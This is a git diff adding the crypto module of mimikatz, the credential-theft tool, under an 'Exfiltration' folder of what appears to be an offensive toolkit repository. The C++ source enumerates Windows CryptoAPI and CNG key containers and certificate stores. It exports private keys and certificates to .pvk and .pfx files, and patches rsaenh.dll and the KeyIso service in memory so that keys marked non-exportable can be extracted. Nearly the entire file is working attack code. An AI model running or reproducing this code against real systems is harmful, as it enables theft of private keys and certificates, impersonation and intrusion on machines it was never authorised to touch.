aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp594
1 files changed, 594 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp
new file mode 100644
index 0000000..a869cd8
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp
@@ -0,0 +1,594 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_crypto.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable"));
+ return monVector;
+}
+
+bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments)
+{
+ vector<wstring> * monVectorProviders = new vector<wstring>();
+ /* CryptoAPI */
+ (*outputStream) << L"Providers CryptoAPI :" << endl;
+ if(mod_cryptoapi::getVectorProviders(monVectorProviders))
+ for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
+ (*outputStream) << L'\t' << *monProvider << endl;
+ else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl;
+
+ /* CryptoNG */
+ if(mod_cryptong::isNcrypt)
+ {
+ (*outputStream) << endl;
+ monVectorProviders->clear();
+
+ (*outputStream) << L"Providers CNG :" << endl;
+ if(mod_cryptong::getVectorProviders(monVectorProviders))
+ for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
+ (*outputStream) << L'\t' << *monProvider << endl;
+ else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl;
+ }
+ delete monVectorProviders;
+ return true;
+}
+
+bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments)
+{
+ listAndOrExportKeys(arguments, false);
+ return true;
+}
+
+bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments)
+{
+ listAndOrExportKeys(arguments, true);
+ return true;
+}
+
+bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments)
+{
+ wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front());
+
+ (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
+
+ DWORD systemStore;
+ if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
+ {
+ (*outputStream) << endl;
+ vector<wstring> * mesStores = new vector<wstring>();
+ if(mod_crypto::getVectorSystemStores(mesStores, systemStore))
+ for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++)
+ (*outputStream) << L'\t' << *monStore << endl;
+ else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl;
+ delete mesStores;
+ }
+ else (*outputStream) << L" introuvable !" << endl;
+ return true;
+}
+
+bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments)
+{
+ listAndOrExportCertificates(arguments, false);
+ return true;
+}
+
+bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments)
+{
+ listAndOrExportCertificates(arguments, true);
+ return true;
+}
+
+void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys)
+{
+ bool isMachine = false;
+ DWORD providerType = PROV_RSA_FULL;
+ wstring provider = MS_ENHANCED_PROV;
+
+ switch (arguments->size())
+ {
+ case 1:
+ isMachine = true;
+ case 0:
+ break;
+ case 3:
+ isMachine = true;
+ arguments->erase(arguments->begin());
+ case 2:
+ mod_cryptoapi::getProviderString(arguments->front(), &provider);
+ mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType);
+ break;
+ default :
+ (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl;
+ return;
+ }
+
+
+ wstring type = (isMachine ? L"machine" : L"user");
+
+ vector<wstring> * monVectorKeys = new vector<wstring>();
+
+ /* CryptoAPI */
+ (*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl;
+ if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine))
+ {
+ DWORD i;
+ vector<wstring>::iterator monContainer;
+ for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
+ {
+ (*outputStream) << L"\t - " << *monContainer << endl;
+
+ HCRYPTPROV hCryptKeyProv = NULL;
+ if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
+ {
+ HCRYPTKEY maCle = NULL;
+ for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++)
+ {
+ if(CryptGetUserKey(hCryptKeyProv, ks, &maCle))
+ {
+ (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl;
+ DWORD param = 0, taille = sizeof(param);
+ if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&param), &taille, NULL))
+ (*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl;
+ if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&param), &taille, NULL))
+ (*outputStream) << L"\t\tTaille clé : " << param << endl;
+
+ if(exportKeys)
+ {
+ bool reussite = false;
+ BYTE * monExport = NULL;
+ DWORD tailleExport = 0;
+
+ wstringstream monBuff;
+ wstring containerName = *monContainer;
+ sanitizeFileName(&containerName);
+
+ monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk";
+
+ if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport))
+ {
+ reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks);
+ delete[] monExport;
+ }
+
+ (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
+ }
+ }
+ }
+ }
+
+ if(maCle)
+ CryptDestroyKey(maCle);
+ else
+ (*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl;
+
+
+ CryptReleaseContext(hCryptKeyProv, 0);
+ }
+ else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl;
+ }
+ }
+ else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl;
+
+ /* CryptoNG */
+ if(mod_cryptong::isNcrypt)
+ {
+ (*outputStream) << endl;
+ monVectorKeys->clear();
+
+ (*outputStream) << L"[" << type << L"] Clés CNG :" << endl;
+ if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine))
+ {
+ DWORD i;
+ vector<wstring>::iterator monContainer;
+ for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
+ {
+ (*outputStream) << L"\t - " << *monContainer << endl;
+
+ NCRYPT_KEY_HANDLE maCle;
+ if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine))
+ {
+ bool exportable = false;
+ DWORD size = 0;
+
+ if(mod_cryptong::isKeyExportable(&maCle, &exportable))
+ (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
+ if(mod_cryptong::getKeySize(&maCle, &size))
+ (*outputStream) << L"\t\tTaille clé : " << size << endl;
+
+ if(exportKeys)
+ {
+ bool reussite = false;
+ BYTE * monExport = NULL;
+ DWORD tailleExport = 0;
+
+ wstringstream monBuff;
+ monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk";
+
+ if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport))
+ {
+ reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str());
+ delete[] monExport;
+ }
+
+ (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
+ }
+ }
+ mod_cryptong::NCryptFreeObject(maCle);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl;
+ }
+
+ delete monVectorKeys;
+}
+
+
+void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert)
+{
+ wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER";
+ wstring monStore = L"My";
+
+ if(arguments->size() == 1)
+ {
+ monEmplacement = arguments->front();
+ }
+ else if(arguments->size() == 2)
+ {
+ monEmplacement = arguments->front();
+ monStore = arguments->back();
+ }
+
+ (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
+
+ DWORD systemStore;
+ if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
+ {
+ (*outputStream) << L"\\" << monStore << endl;
+ if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str()))
+ {
+ DWORD i;
+ PCCERT_CONTEXT pCertContext;
+ for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++)
+ {
+ wstring * certName = new wstring();
+ bool reussite = false;
+
+ if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName))
+ certName->assign(L"[empty]");
+
+ (*outputStream) << L"\t - " << *certName << endl;;
+ sanitizeFileName(certName);
+
+ wstringstream monBuff;
+ monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.';
+
+ mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo;
+ if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo))
+ {
+ (*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl;
+ (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl;
+
+ HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL;
+ DWORD keySpec = 0;
+ BOOL aFermer = false;
+
+ if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer))
+ {
+ (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl;
+
+ DWORD size = 0;
+ bool exportable = false;
+
+ if(keySpec == CERT_NCRYPT_KEY_SPEC)
+ {
+ if(mod_cryptong::isNcrypt)
+ {
+ reussite = mod_cryptong::getKeySize(&monProv, &size);
+ reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable);
+
+ if(aFermer)
+ {
+ mod_cryptong::NCryptFreeObject(monProv);
+ }
+ }
+ else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl;
+ }
+ else
+ {
+ DWORD tailleEcrite = 0;
+ DWORD exportability;
+
+ HCRYPTKEY maCle = NULL;
+ if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0))
+ {
+ tailleEcrite = sizeof(DWORD);
+ reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0);
+ tailleEcrite = sizeof(DWORD);
+ reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0);
+ exportable = (exportability & CRYPT_EXPORT) != 0;
+ }
+
+ if(aFermer)
+ {
+ CryptReleaseContext(monProv, 0);
+ }
+ }
+ if(reussite)
+ {
+ (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
+ (*outputStream) << L"\t\tTaille clé : " << size << endl;
+ }
+
+ if(exportCert)
+ {
+ wstring PFXFile = monBuff.str();
+ PFXFile.append(L"pfx");
+
+ reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz");
+
+ (*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
+ }
+ }
+ }
+ else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl;
+ }
+
+ if(exportCert)
+ {
+ wstring DERFile = monBuff.str();
+ DERFile.append(L"der");
+
+ reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile);
+
+ (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
+ if(!reussite)
+ {
+ (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
+ }
+ }
+ delete certName;
+ }
+ CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG);
+ }
+ else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L" introuvable !" << endl;
+}
+
+
+bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments)
+{
+ wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll";
+ char FUNCNAM_WALL_EXPORT[] = "CPExportKey";
+#ifdef _M_X64
+ BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75};
+ BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72};
+ BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4;
+ LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5;
+
+ BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82};
+ BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
+ LONG OFFS_W6AL_CPExportKey_EXPORT = 5;
+ LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2;
+#elif defined _M_IX86
+ BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75};
+ BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84};
+ BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5;
+ LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7;
+
+ BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85};
+ BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
+ BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
+ LONG OFFS_WI60_CPExportKey_EXPORT = 3;
+ LONG OFFS_WIN6_CPExportKey_EXPORT = 5;
+#endif
+
+ PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0;
+ PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001);
+ pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000);
+ patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT);
+ offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT;
+ offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT;
+ }
+ else
+ {
+#ifdef _M_X64
+ pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001);
+ patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
+ offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT;
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
+ offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT;
+ }
+ else
+ {
+ pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000);
+ offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT;
+ }
+#elif defined _M_IX86
+ patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001);
+ pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000);
+ offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT;
+ }
+ else
+ {
+ pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001);
+ pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
+ offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT;
+ }
+#endif
+ }
+
+ if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA))
+ {
+ if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) &&
+ mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true))
+ {
+ (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl <<
+ L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl <<
+ L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl;
+ }
+ FreeLibrary(hRSA);
+ }
+ return true;
+}
+
+bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments)
+{
+ wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll";
+ wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll";
+#ifdef _M_X64
+ BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
+ BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75};
+ BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
+
+ BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
+ BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+ BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
+ BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75};
+
+ BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+ BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
+#endif
+ BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
+ LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4;
+
+ if(mod_cryptong::isNcrypt)
+ {
+ if(mod_cryptong::justInitCNG())
+ {
+ wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0;
+
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ pattern = PTRN_WI60_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WI60_SPCryptExportKey);
+ }
+ else
+ {
+#endif
+ pattern = PTRN_WNO8_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey);
+#ifdef _M_X64
+ }
+#endif
+ libName = LIBNAME_WNO8_NCrypt;
+ }
+ else
+ {
+ pattern = PTRN_WIN8_SPCryptExportKey;
+ taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey);
+ libName = LIBNAME_WIN8_NCrypt;
+ }
+
+ if(arguments->empty())
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ patch = PATC_WI60_SPCryptExportKey_EXPORT;
+ taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT);
+ }
+ else
+ {
+#endif
+ patch = PATC_WALL_SPCryptExportKey_EXPORT;
+ taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT);
+#ifdef _M_X64
+ }
+#endif
+ }
+ else
+ {
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ patch = PATC_WI60_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT);
+ }
+ else
+ {
+ patch = PATC_WALL_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT);
+ }
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ patch = PATC_WNO8_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT);
+ }
+ else
+ {
+ patch = PATC_WIN8_SPCryptExportKey_NOEXPORT;
+ taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT);
+ }
+#endif
+ }
+ offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT;
+
+ mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch);
+ }
+ else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"Pas de CNG ?" << endl;
+
+ return true;
+}
+
+void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName)
+{
+ wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'};
+ for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++)
+ {
+ for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++)
+ {
+ if(*monIterateur == monTab[i])
+ {
+ *monIterateur = L'~';
+ break;
+ }
+ }
+ }
+}